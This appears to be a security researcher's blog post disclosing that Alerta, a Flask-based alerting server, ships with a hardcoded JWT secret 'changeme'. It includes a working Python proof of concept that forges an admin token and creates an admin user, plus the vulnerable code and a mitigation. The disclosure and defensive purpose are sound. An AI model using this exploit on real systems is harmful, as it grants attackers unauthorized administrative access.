We have bad news for vendors whose applications use hardcoded secrets, for example, to create and validate JSON Web Tokens within the authorization process. Most people can’t even imagine, how disappointed could be the vendor who acknowledged such an issue. I mean, such software architectural problems might lead to catastrophic disasters, and sometimes, in such situations, a vendor should try as hard as they can control themselves and make a decision – basically, whether the existence of this software is reasonable, or not.
It worth saying that most of the hackers know this issue but never exploited it. This case is a simple one, could be fixed, and on software that nobody cares about – so let’s check it out.
Proof of Concept
import jwt from jwt import DecodeError, ExpiredSignature, InvalidAudience import requests encoded_jwt = jwt.encode({'iss': 'http://192.168.100.53/', 'typ': 'Bearer', 'sub': 'aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee', 'aud': 'http://192.168.100.53/', 'name': 'Billy', 'preferred_username': 'Whiskey', 'email': 'Jean', 'provider': 'basic', 'roles': ['user','admin'], 'scope': 'read write admin users', 'email_verified': True}, key='changeme') url = "http://192.168.100.53:8081/user" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json;charset=utf-8", "Authorization": "Bearer " + encoded_jwt.decode("utf-8"), "Origin": "http://192.168.100.53", "Connection": "close", "Referer": "http://192.168.100.53/users"} json={"confirmPassword": "", "email": "user", "email_verified": True, "login": "user", "name": "user", "password": "lyhinslab", "roles": ["admin", "user", "guest"], "status": "active", "text": "ll"} r = requests.post(url, headers=headers, json=json) print (r.content)
Looks easy, feels the same. Just create a JWT with a “changeme” secret. Despite the loud name, Alerta software doesn’t inform users that they need to change this code. Unfortunately.
Bug discovery & exploitation
Firstly, we found that Alerta works on Python/Flask, and uses JWT.
Secondly, we found an endpoint that works with JWT. File: “alerta\auth\userinfo.py”.
import re from flask import jsonify, request from flask_cors import cross_origin from alerta.auth.decorators import permission from alerta.exceptions import ApiError from alerta.models.enums import Scope from alerta.models.token import Jwt from . import auth @auth.route('/userinfo', methods=['OPTIONS', 'GET']) @cross_origin() @permission(Scope.read_userinfo) def userinfo(): auth_header = request.headers.get('Authorization', '') m = re.match(r'Bearer (\S+)', auth_header) token = m.group(1) if m else None if token: return jsonify(Jwt.parse(token).serialize) else: raise ApiError('Missing authorization Bearer token', 401)
Thirdly, we checked the implementation of JWT in “alerta.models.token”. File: “alerta\models\token.py”, lines 41-52 and 113-116.
@classmethod def parse(cls, token: str, key: str = None, verify: bool = True, algorithm: str = 'HS256') -> 'Jwt': try: json = jwt.decode( token, key=key or current_app.config['SECRET_KEY'], verify=verify, algorithms=algorithm, audience=current_app.config['OAUTH2_CLIENT_ID'] or current_app.config['SAML2_ENTITY_ID'] or absolute_url() ) except (DecodeError, ExpiredSignature, InvalidAudience): raise
@property def tokenize(self) -> str: token = jwt.encode(self.serialize, key=current_app.config['SECRET_KEY']) return token.decode('unicode_escape')
Fourhtly, we made one more step and we were looking for current_app.config[‘SECRET_KEY’] . File:
# # ***** ALERTA SERVER DEFAULT SETTINGS -- DO NOT MODIFY THIS FILE ***** # # To override these settings use /etc/alertad.conf or the contents of the # configuration file set by the environment variable ALERTA_SVR_CONF_FILE. # # Further information on settings can be found at https://docs.alerta.io from typing import Any, Dict, List, Tuple # noqa DEBUG = False BASE_URL = '' USE_PROXYFIX = False SECRET_KEY = 'changeme' ...
Worth paying attention is the recommendation to do not modify this file.
Finally, we wrote an exploit.
Mitigation
Change “SECRET_KEY” in config file to something more secure. Because you do this one-time, I recommend to choose a random 256-bit sequence for it.
Conclusion
Don’t ever use hardcoded secrets. That’s the whole point of this post.
LL advises to all the researchers do not break real applications illegally. This fun leads to broken businesses and lives, and, most likely, will not make an attacker really rich.